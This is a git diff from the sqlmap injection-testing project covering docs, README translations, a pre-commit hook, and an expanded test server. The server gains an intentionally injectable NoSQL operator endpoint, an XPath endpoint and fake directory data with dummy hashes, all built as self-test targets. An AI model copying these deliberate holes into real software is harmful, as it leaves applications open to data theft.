|
||||
`python -B -m unittest discover -s tests -p "test_*.py"` (`-B` matters: a cached `.pyc`
|
||||
makes a `getFileType(__file__)` doctest see `binary`).
|
||||
- **In-tree self-tests** (`lib/core/testing.py`, hidden switches): `--smoke-test`
|
||||
(doctests + regex sanity over the whole tree), `--vuln-test` (end-to-end scans against
|
||||
the bundled `extra/vulnserver`), `--api-test` (live REST round-trip). The CI workflow
|
||||
(`.github/workflows/tests.yml`) runs all of these.
|
||||
|
||||
---
|
||||
|
||||
## 12. "Where do I start for ...?"
|
||||
|
||||
| I want to change... | Start in |
|
||||
|---------------------|----------|
|
||||
| a CLI option | `lib/parse/cmdline.py` (+ `optiondict.py`, `defaults.py`) |
|
||||
| a constant/threshold | `lib/core/settings.py` |
|
||||
| how injection is *detected* | `data/xml/boundaries.xml` + `data/xml/payloads/*.xml`, then `lib/controller/checks.py` |
|
||||
| how a value is *extracted* | `lib/request/inject.py` + the relevant `lib/techniques/` engine |
|
||||
| the true/false decision | `lib/request/comparison.py` |
|
||||
| a per-DBMS query/dialect | `data/xml/queries.xml` + `plugins/dbms/<dbms>/` |
|
||||
| enumeration behavior | `plugins/generic/*.py` |
|
||||
| dump/output format | `lib/core/dump.py` |
|
||||
| a WAF-bypass transform | add a file under `tamper/` |
|
||||
| the REST API surface | `lib/utils/api.py` (+ keep `sqlmapapi.yaml` in sync) |
|
||||
| session/resume behavior | `lib/utils/hashdb.py` + `hashDB*` in `lib/core/common.py` |
|
||||
| a stdlib monkey-patch / security shim | `lib/core/patch.py` |
|
||||
@@ -46,10 +46,6 @@ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
* The `Chardet` library located under `thirdparty/chardet/`.
|
||||
Copyright (C) 2008, Mark Pilgrim.
|
||||
* The `KeepAlive` library located under `thirdparty/keepalive/`.
|
||||
Copyright (C) 2002-2003, Michael D. Stenner.
|
||||
* The `MultipartPost` library located under `thirdparty/multipart/`.
|
||||
Copyright (C) 2006, Will Holcomb.
|
||||
* The `icmpsh` tool located under `extra/icmpsh/`.
|
||||
Copyright (C) 2010, Nico Leidecker, Bernardo Damele.
|
||||
|
||||
@@ -272,8 +268,6 @@ be bound by the terms and conditions of this License Agreement.
|
||||
Copyright (C) 2024, Marcel Hellkamp.
|
||||
* The `identYwaf` library located under `thirdparty/identywaf/`.
|
||||
Copyright (C) 2019-2021, Miroslav Stampar.
|
||||
* The `ordereddict` library located under `thirdparty/odict/`.
|
||||
Copyright (C) 2009, Raymond Hettinger.
|
||||
* The `six` Python 2 and 3 compatibility library located under `thirdparty/six/`.
|
||||
Copyright (C) 2010-2024, Benjamin Peterson.
|
||||
* The `Termcolor` library located under `thirdparty/termcolor/`.
|
||||
|
||||
@@ -65,4 +65,5 @@
|
||||
* الأسئلة الشائعة: https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* تويتر: [@sqlmap](https://x.com/sqlmap)
|
||||
* العروض التوضيحية: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* ساحة التدريب: https://sekumart.sekuripy.hr
|
||||
* لقطات الشاشة: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
@@ -47,4 +47,5 @@ sqlmap работи самостоятелно с [Python](https://www.python.or
|
||||
* Често задавани въпроси (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Демо: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* Площадка за упражнения: https://sekumart.sekuripy.hr
|
||||
* Снимки на екрана: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -58,5 +58,6 @@ SQLMap-এর সম্পূর্ণ ফিচার, ক্ষমতা, এ
|
||||
* সচরাচর জিজ্ঞাসিত প্রশ্ন (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* ডেমো ভিডিও: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* অনুশীলন সাইট: https://sekumart.sekuripy.hr
|
||||
* স্ক্রিনশট: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
|
||||
@@ -62,6 +62,7 @@ sqlmap لە دەرەوەی سندوق کاردەکات لەگەڵ [Python](https
|
||||
* پرسیارە زۆرەکان (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* دیمۆ: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* گۆڕەپانی تاقیکردنەوە: https://sekumart.sekuripy.hr
|
||||
* وێنەی شاشە: https://github.com/sqlmapproject/sqlmap/wiki/وێنەی شاشە
|
||||
|
||||
وەرگێڕانەکان
|
||||
|
||||
@@ -46,4 +46,5 @@ Links
|
||||
* Häufig gestellte Fragen (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Demonstrationen: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* Spielwiese: https://sekumart.sekuripy.hr
|
||||
* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -46,4 +46,5 @@ Enlaces
|
||||
* Preguntas frecuentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Demostraciones: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* Campo de pruebas: https://sekumart.sekuripy.hr
|
||||
* Imágenes: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -81,4 +81,5 @@
|
||||
* سوالات متداول: https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* توییتر: [@sqlmap](https://x.com/sqlmap)
|
||||
* رسانه: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* زمین تمرین: https://sekumart.sekuripy.hr
|
||||
* تصاویر: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -46,4 +46,5 @@ Liens
|
||||
* Foire aux questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Démonstrations: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* Terrain de jeu: https://sekumart.sekuripy.hr
|
||||
* Les captures d'écran: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -47,4 +47,5 @@
|
||||
* Συχνές Ερωτήσεις (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* Χώρος δοκιμών: https://sekumart.sekuripy.hr
|
||||
* Εικόνες: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -47,4 +47,5 @@ Poveznice
|
||||
* Najčešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* Vježbalište: https://sekumart.sekuripy.hr
|
||||
* Slike zaslona: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -50,4 +50,5 @@ Tautan
|
||||
* Pertanyaan Yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Video Demo [#1](https://www.youtube.com/user/inquisb/videos) dan [#2](https://www.youtube.com/user/stamparm/videos)
|
||||
* Arena latihan: https://sekumart.sekuripy.hr
|
||||
* Tangkapan Layar: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -46,5 +46,6 @@ sqlmap [Python](https://www.python.org/download/) संस्करण **2.7**
|
||||
* अक्सर पूछे जाने वाले प्रश्न (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* ट्विटर: [@sqlmap](https://x.com/sqlmap)
|
||||
* डेमो: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* अभ्यास स्थल: https://sekumart.sekuripy.hr
|
||||
* स्क्रीनशॉट: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
*
|
||||
|
||||
@@ -47,4 +47,5 @@ Link
|
||||
* Domande più frequenti (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Dimostrazioni: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* Campo di prova: https://sekumart.sekuripy.hr
|
||||
* Screenshot: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -48,4 +48,5 @@ sqlmapの概要、機能の一覧、全てのオプションやスイッチの
|
||||
* よくある質問 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* デモ: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* プレイグラウンド: https://sekumart.sekuripy.hr
|
||||
* スクリーンショット: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -46,4 +46,5 @@ sqlmap ნებისმიერ პლატფორმაზე მუშ
|
||||
* ხშირად დასმული კითხვები (ხდკ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* დემონსტრაციები: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* სავარჯიშო სივრცე: https://sekumart.sekuripy.hr
|
||||
* ეკრანის ანაბეჭდები: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -47,4 +47,5 @@ sqlmap의 능력, 지원되는 기능과 모든 옵션과 스위치들의 목록
|
||||
* 자주 묻는 질문 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* 트위터: [@sqlmap](https://x.com/sqlmap)
|
||||
* 시연 영상: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* 플레이그라운드: https://sekumart.sekuripy.hr
|
||||
* 스크린샷: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -47,4 +47,5 @@ Links
|
||||
* Vaak gestelde vragen (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* Speeltuin: https://sekumart.sekuripy.hr
|
||||
* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -47,4 +47,5 @@ Odnośniki
|
||||
* Często zadawane pytania (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Dema: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* Piaskownica: https://sekumart.sekuripy.hr
|
||||
* Zrzuty ekranu: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -47,4 +47,5 @@ Links
|
||||
* Perguntas frequentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Demonstrações: [#1](https://www.youtube.com/user/inquisb/videos) e [#2](https://www.youtube.com/user/stamparm/videos)
|
||||
* Playground: https://sekumart.sekuripy.hr
|
||||
* Imagens: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -47,4 +47,5 @@ Linkovi
|
||||
* Najčešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* Poligon: https://sekumart.sekuripy.hr
|
||||
* Slike: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -47,4 +47,5 @@ sqlmap работает из коробки с [Python](https://www.python.org/d
|
||||
* Часто задаваемые вопросы (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Демки: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* Песочница: https://sekumart.sekuripy.hr
|
||||
* Скриншоты: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -47,4 +47,5 @@ Linky
|
||||
* Často kladené otázky (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Demá: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* Cvičisko: https://sekumart.sekuripy.hr
|
||||
* Snímky obrazovky: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
@@ -50,4 +50,5 @@ Bağlantılar
|
||||
* Sıkça Sorulan Sorular(SSS): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Demolar: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* Deneme alanı: https://sekumart.sekuripy.hr
|
||||
* Ekran görüntüleri: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -47,4 +47,5 @@ sqlmap «працює з коробки» з [Python](https://www.python.org/dow
|
||||
* Поширенні питання (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Демо: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* Пісочниця: https://sekumart.sekuripy.hr
|
||||
* Скриншоти: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -49,4 +49,5 @@ Liên kết
|
||||
* Các câu hỏi thường gặp (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* Sân tập: https://sekumart.sekuripy.hr
|
||||
* Ảnh chụp màn hình: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -46,4 +46,5 @@ sqlmap 可以运行在 [Python](https://www.python.org/download/) **2.7** 和
|
||||
* 常见问题 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* 教程: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* 靶场: https://sekumart.sekuripy.hr
|
||||
* 截图: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -43,8 +43,6 @@ def decloak(inputFile=None, data=None):
|
||||
print(ex)
|
||||
print('ERROR: the provided input file \'%s\' does not contain valid cloaked content' % inputFile)
|
||||
sys.exit(1)
|
||||
finally:
|
||||
f.close()
|
||||
|
||||
return data
|
||||
|
||||
|
||||
@@ -12,13 +12,11 @@ chmod +x .git/hooks/pre-commit
|
||||
|
||||
PROJECT="../../"
|
||||
SETTINGS="../../lib/core/settings.py"
|
||||
DIGEST="../../data/txt/sha256sums.txt"
|
||||
|
||||
declare -x SCRIPTPATH="${0}"
|
||||
|
||||
PROJECT_FULLPATH=${SCRIPTPATH%/*}/$PROJECT
|
||||
SETTINGS_FULLPATH=${SCRIPTPATH%/*}/$SETTINGS
|
||||
DIGEST_FULLPATH=${SCRIPTPATH%/*}/$DIGEST
|
||||
|
||||
git diff $SETTINGS_FULLPATH | grep "VERSION =" > /dev/null && exit 0
|
||||
|
||||
@@ -37,6 +35,3 @@ then
|
||||
fi
|
||||
git add "$SETTINGS_FULLPATH"
|
||||
fi
|
||||
|
||||
cd $PROJECT_FULLPATH && git ls-files | sort | uniq | grep -Pv '^\.|sha256' | xargs sha256sum > $DIGEST_FULLPATH && cd -
|
||||
git add "$DIGEST_FULLPATH"
|
||||
|
||||
+907
-20
@@ -17,6 +17,7 @@ import sqlite3
|
||||
import string
|
||||
import sys
|
||||
import threading
|
||||
import time
|
||||
import traceback
|
||||
|
||||
PY3 = sys.version_info >= (3, 0)
|
||||
@@ -24,6 +25,7 @@ UNICODE_ENCODING = "utf-8"
|
||||
DEBUG = False
|
||||
|
||||
if PY3:
|
||||
from http.client import FORBIDDEN
|
||||
from http.client import INTERNAL_SERVER_ERROR
|
||||
from http.client import NOT_FOUND
|
||||
from http.client import OK
|
||||
@@ -35,6 +37,7 @@ if PY3:
|
||||
else:
|
||||
from BaseHTTPServer import BaseHTTPRequestHandler
|
||||
from BaseHTTPServer import HTTPServer
|
||||
from httplib import FORBIDDEN
|
||||
from httplib import INTERNAL_SERVER_ERROR
|
||||
from httplib import NOT_FOUND
|
||||
from httplib import OK
|
||||
@@ -115,11 +118,184 @@ SCHEMA = """
|
||||
INSERT INTO creds (user_id, password_hash) VALUES (28, '908f7e6d5c4b3a291807f6e5d4c3b2a1');
|
||||
INSERT INTO creds (user_id, password_hash) VALUES (29, '3049b791fa83e2f42f37bae18634b92d');
|
||||
INSERT INTO creds (user_id, password_hash) VALUES (30, 'd59a348f90d757c7da30418773424b5e');
|
||||
|
||||
CREATE TABLE directory (
|
||||
dn TEXT,
|
||||
uid TEXT,
|
||||
cn TEXT,
|
||||
sn TEXT,
|
||||
givenName TEXT,
|
||||
displayName TEXT,
|
||||
userPassword TEXT,
|
||||
mail TEXT,
|
||||
objectClass TEXT,
|
||||
objectCategory TEXT,
|
||||
ou TEXT,
|
||||
title TEXT,
|
||||
department TEXT,
|
||||
company TEXT,
|
||||
o TEXT,
|
||||
telephoneNumber TEXT,
|
||||
mobile TEXT,
|
||||
manager TEXT,
|
||||
description TEXT,
|
||||
l TEXT,
|
||||
st TEXT,
|
||||
street TEXT,
|
||||
postalCode TEXT,
|
||||
c TEXT,
|
||||
employeeNumber TEXT,
|
||||
employeeType TEXT,
|
||||
member TEXT
|
||||
);
|
||||
-- Column order: dn, uid, cn, sn, givenName, displayName, userPassword, mail,
|
||||
-- objectClass, objectCategory, ou, title, department, company, o,
|
||||
-- telephoneNumber, mobile, manager, description, l, st, street,
|
||||
-- postalCode, c, employeeNumber, employeeType, member
|
||||
INSERT INTO directory VALUES ('uid=luther,ou=users,dc=example,dc=com', 'luther', 'Luther Blisset', 'Blisset', 'Luther', 'Luther Blisset', 'db3a16990a0008a3b04707fdef6584a0', '[email protected]', 'inetOrgPerson', 'Person', 'users', 'System Administrator', 'IT Operations', 'Example Corp', 'Example', '+1 555 0100', '+1 555 0101', 'uid=ada,ou=users,dc=example,dc=com', 'System administrator', 'London', 'Greater London', '10 Downing Street', 'SW1A 2AA', 'GB', '1001', 'Employee', NULL);
|
||||
INSERT INTO directory VALUES ('uid=fluffy,ou=users,dc=example,dc=com', 'fluffy', 'Fluffy Bunny', 'Bunny', 'Fluffy', 'Fluffy Bunny', '4db967ce67b15e7fb84c266a76684729', '[email protected]', 'inetOrgPerson', 'Person', 'users', 'Security Engineer', 'Security', 'Example Corp', 'Example', '+1 555 0102', '+1 555 0103', NULL, 'Security engineer', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
|
||||
INSERT INTO directory VALUES ('uid=wu,ou=users,dc=example,dc=com', 'wu', 'Wu Ming', 'Ming', 'Wu', 'Wu Ming', 'f5a2950eaa10f9e99896800eacbe8275', '[email protected]', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Developer', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
|
||||
INSERT INTO directory VALUES ('uid=mark,ou=users,dc=example,dc=com', 'mark', 'Mark Lewis', 'Lewis', 'Mark', 'Mark Lewis', '179ad45c6ce2cb97cf1029e212046e81', '[email protected]', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Project manager', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
|
||||
INSERT INTO directory VALUES ('uid=ada,ou=users,dc=example,dc=com', 'ada', 'Ada Lovelace', 'Lovelace', 'Ada', 'Ada Lovelace', '0f1e2d3c4b5a69788796a5b4c3d2e1f0', '[email protected]', 'inetOrgPerson', 'Person', 'users', 'Mathematician', 'Research', 'Example Corp', 'Example', '+1 555 0104', NULL, NULL, 'Mathematician', 'Cambridge', NULL, NULL, NULL, NULL, NULL, NULL, NULL);
|
||||
INSERT INTO directory VALUES ('uid=grace,ou=users,dc=example,dc=com', 'grace', 'Grace Hopper', 'Hopper', 'Grace', 'Grace Hopper', 'a1b2c3d4e5f60718293a4b5c6d7e8f90', '[email protected]', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Computer scientist', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
|
||||
INSERT INTO directory VALUES ('uid=alan,ou=users,dc=example,dc=com', 'alan', 'Alan Turing', 'Turing', 'Alan', 'Alan Turing', '1a2b3c4d5e6f708192a3b4c5d6e7f809', '[email protected]', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Cryptanalyst', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
|
||||
INSERT INTO directory VALUES ('uid=margaret,ou=users,dc=example,dc=com', 'margaret', 'Margaret Hamilton', 'Hamilton', 'Margaret', 'Margaret Hamilton', '9f8e7d6c5b4a3928170605f4e3d2c1b0', '[email protected]', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Software engineer', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
|
||||
INSERT INTO directory VALUES ('uid=donald,ou=users,dc=example,dc=com', 'donald', 'Donald Knuth', 'Knuth', 'Donald', 'Donald Knuth', '3c2d1e0f9a8b7c6d5e4f30291807f6e5', '[email protected]', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Computer scientist', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
|
||||
INSERT INTO directory VALUES ('uid=tim,ou=users,dc=example,dc=com', 'tim', 'Tim Berners-Lee', 'Berners-Lee', 'Tim', 'Tim Berners-Lee', 'b0c1d2e3f405162738495a6b7c8d9eaf', '[email protected]', 'inetOrgPerson', 'Person', 'users', 'Inventor', 'Research', 'Example Corp', 'Example', '+1 555 0105', NULL, NULL, 'Inventor of the Web', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
|
||||
INSERT INTO directory VALUES ('uid=linus,ou=users,dc=example,dc=com', 'linus', 'Linus Torvalds', 'Torvalds', 'Linus', 'Linus Torvalds', '6e5d4c3b2a190807f6e5d4c3b2a1908f', '[email protected]', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Kernel developer', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
|
||||
INSERT INTO directory VALUES ('uid=ken,ou=users,dc=example,dc=com', 'ken', 'Ken Thompson', 'Thompson', 'Ken', 'Ken Thompson', '11223344556677889900aabbccddeeff', '[email protected]', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Unix co-creator', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
|
||||
INSERT INTO directory VALUES ('uid=dennis,ou=users,dc=example,dc=com', 'dennis', 'Dennis Ritchie', 'Ritchie', 'Dennis', 'Dennis Ritchie', 'ffeeddccbbaa00998877665544332211', '[email protected]', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'C language creator', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
|
||||
INSERT INTO directory VALUES ('uid=barbara,ou=users,dc=example,dc=com', 'barbara', 'Barbara Liskov', 'Liskov', 'Barbara', 'Barbara Liskov', '1234567890abcdef1234567890abcdef', '[email protected]', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Turing Award winner', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
|
||||
INSERT INTO directory VALUES ('uid=edsger,ou=users,dc=example,dc=com', 'edsger', 'Edsger Dijkstra', 'Dijkstra', 'Edsger', 'Edsger Dijkstra', 'abcdef1234567890abcdef1234567890', '[email protected]', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Computer scientist', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
|
||||
INSERT INTO directory VALUES ('ou=users,dc=example,dc=com', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'organizationalUnit', NULL, 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'User accounts', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
|
||||
INSERT INTO directory VALUES ('ou=groups,dc=example,dc=com', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'organizationalUnit', NULL, 'groups', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Group entries', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
|
||||
INSERT INTO directory VALUES ('cn=admins,ou=groups,dc=example,dc=com', NULL, 'admins', NULL, NULL, NULL, NULL, NULL, 'groupOfNames', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Administrators group', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'uid=luther,ou=users,dc=example,dc=com');
|
||||
INSERT INTO directory VALUES ('cn=admins,ou=groups,dc=example,dc=com', NULL, 'admins', NULL, NULL, NULL, NULL, NULL, 'groupOfNames', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Administrators group', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'uid=ada,ou=users,dc=example,dc=com');
|
||||
INSERT INTO directory VALUES ('cn=developers,ou=groups,dc=example,dc=com', NULL, 'developers', NULL, NULL, NULL, NULL, NULL, 'groupOfNames', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Developers group', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'uid=wu,ou=users,dc=example,dc=com');
|
||||
INSERT INTO directory VALUES ('cn=developers,ou=groups,dc=example,dc=com', NULL, 'developers', NULL, NULL, NULL, NULL, NULL, 'groupOfNames', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Developers group', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'uid=linus,ou=users,dc=example,dc=com');
|
||||
"""
|
||||
|
||||
LISTEN_ADDRESS = "localhost"
|
||||
LISTEN_PORT = 8440
|
||||
|
||||
# Minimal MongoDB-style collection backing the NoSQL operator-injection endpoint ('/nosql'). The
|
||||
# 'password' field is the blind-extraction target, constrained by a sibling 'name' equality match.
|
||||
NOSQL_USERS = {
|
||||
"luther": "s3cr3t",
|
||||
"fluffy": "carrot",
|
||||
"wu": "shanghai",
|
||||
}
|
||||
|
||||
def nosql_match(params):
|
||||
"""Emulates a MongoDB find() on NOSQL_USERS: reconstructs the operator object for the 'password'
|
||||
field (from bracket-notation 'password[$ne]=...' or a JSON sub-document) and evaluates it against
|
||||
the record selected by 'name'. An invalid $regex raises re.error (surfaced as a driver error)."""
|
||||
|
||||
record = NOSQL_USERS.get(params.get("name"))
|
||||
|
||||
spec = params.get("password")
|
||||
if isinstance(spec, dict):
|
||||
op, value = next(iter(spec.items()), ("$eq", None))
|
||||
else:
|
||||
op, value = "$eq", spec
|
||||
for key in params:
|
||||
match = re.match(r"^password\[(\$\w+)\](?:\[\])?$", key)
|
||||
if match:
|
||||
op, value = match.group(1), params[key]
|
||||
break
|
||||
|
||||
if isinstance(value, (tuple, list)):
|
||||
value = value[-1] if value else None
|
||||
|
||||
if record is None:
|
||||
return False
|
||||
elif op == "$ne":
|
||||
return record != value
|
||||
elif op == "$gt":
|
||||
return record > (value or "")
|
||||
elif op == "$regex":
|
||||
return re.search(value, record) is not None
|
||||
else: # $eq, $in (single-valued here) and any literal equality
|
||||
return record == value
|
||||
|
||||
# --- XPath endpoint (vulnerable search and login, backed by an in-memory XML document) ------------
|
||||
|
||||
XPATH_XML = """<?xml version="1.0" encoding="UTF-8"?>
|
||||
<directory>
|
||||
<department name="IT Operations">
|
||||
<user id="1">
|
||||
<username>luther</username>
|
||||
<realname>Luther Blisset</realname>
|
||||
<email>[email protected]</email>
|
||||
<password>db3a16990a0008a3b04707fdef6584a0</password>
|
||||
<role>System Administrator</role>
|
||||
<location>London</location>
|
||||
<phone>+1 555 0100</phone>
|
||||
</user>
|
||||
<user id="2">
|
||||
<username>fluffy</username>
|
||||
